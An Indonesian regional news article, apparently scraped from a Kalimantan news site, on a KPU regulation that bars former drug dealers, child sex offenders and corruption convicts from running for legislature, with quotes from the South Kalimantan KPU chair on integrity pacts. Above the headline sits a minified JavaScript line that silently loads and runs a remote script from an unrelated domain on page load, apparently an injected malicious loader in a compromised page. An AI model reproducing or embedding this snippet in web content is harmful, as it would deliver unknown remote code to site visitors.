(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Parpol Harus Jamin Calegnya Bukan Bandar Narkoba, Peodofil, atau Koruptor!


BANJARMASIN, Peraturan KPU yang melarang bekas bandar narkoba, pelaku kejahatan seksual anak, dan koruptor maju dalam pencalegan patut diapresiasi. Hal ini sebagai upaya menjamin wajah legislatif ke depan lebih bersih. Namun, akibat aturan baru tersebut parpol peserta pemilu dan caleg harus memiliki kesibukan ekstra!

Pengurusan Surat Keterangan Catatan Kepolisian (SKCK) di Polres dan surat keterangan tidak pernah dihukum atau terjerat tindak pidana dengan ancaman hukuman lima tahun penjara di pengadilan negeri (PN) setempat ramai diserbu caleg. Tak hanya itu, parpol pengusung pun masih harus menandatangi pakta integritas yang menyatakan calon yang diusung bebas dari tiga jenis kejahatantersebut.

Ketua KPU Kalsel Edy Ariansyah mengatakan, partai politik membuat pakta integritas yang menerangkan seleksi bakal calon di masing-masing parpolnya dilakukan acara terbuka dan demokratis, tidak menyertakan mantan terpidana korupsi, kejahatan seksual terhadap anak, dan narkoba. “Pakta integritas ini menjadi salah satu persyaratan yang harus dipenuhi oleh partai politik dalam mengajukan daftar bakal calon anggota DPR dan DPRD,” tegasnya.

Pasal 4 Ayat 3 PKPU disebutkan, dalam seleksi bakal calon secara demokratis dan terbuka, tidak menyertakan mantan terpidana bandar narkoba, kejahatan seksual terhadap anak, dan korupsi. Kemudian, dalam Pasal 6 Ayat 1 Huruf e diyatakan bahwa pimpinan parpol sesuai tingkatannya menandatangani dan melaksanakan pakta integritas pencalonan anggota DPR, DPRD provinsi, serta DPRD kabupaten/kota sebagaimana dimaksud Pasal 4 Ayat 3.

“Formulir pakta integritas itu berisi tiga poin, di antaranya jika ada pelanggaran pakta integritas, berupa adanya bakal calon yang berstatus mantan napi bandar narkoba, kejahatan seksual anak, dan korupsi, maka bersedia dikenai sanksi administrasi pembatalan pencalonan,” jelas Edy.

KPU punya kewenangan eksekusi jika pakta itu dilanggar. Dia mencontohkan, jika pada saat pendaftaran ada bekas napi bandar narkoba, kejahatan seksual anak, dan korupsi masuk di daftar calon yang diajukan parpol di daerah pemilihan tertentu, KPU berwenang untuk tidak menerima dan bisa mengembalikan ke partai.

Selain itu, jika pada tahap pendaftaran ada bakal calon bekas napi dari tiga jenis kejahatan itu masuk daftar calon sementara (DCS), KPU juga punya kewenangan untuk meminta parpol mengganti calon tersebut. ”Jika kemudian tetap masuk DCT (daftar calon tetap) dan kemudian calon tersebut terpilih, KPU juga ada kewenangan membatalkannya,” katanya.

Edy mengatkan, hingga saat ini belum ada parpol yang mendatangi kantor KPU untuk mendaftar. Hal tersebut lantaran kemungkinan caleg masih mempersiapkan dirinya dengan matang dan melengkapi persyaratan yang harus dipenuhi. “Sampai saat ini belum ada caleg yang yang daftar,” tegasnya.

Ditambahkannya bahwa persiapan KPU Kalsel untuk pileg kali ini akan di atur sesuai tahapan dan jadwal yang ditentukan oleh peraturan perundang-undangan. “KPU selalu siap sesuai tahapan dan jadwal yang ditentukan oleh peraturan UU,” katanya.

Di sisi lain, Ketua DPW PSI Yogi Adiatma mengatakan, sudah mensiapkan untuk pendaftaran KPU Kalsel. Berbagai persyaratan yang harus dipenuhi pun telah diproses dan berkas tersebut akan terpenuhi. “Untuk berkas para caleg PSI sudah mantap untuk mendaftar,” katanya.


Page: 1 2

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

3 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

6 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

10 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

10 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

10 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

12 jam ago

This website uses cookies.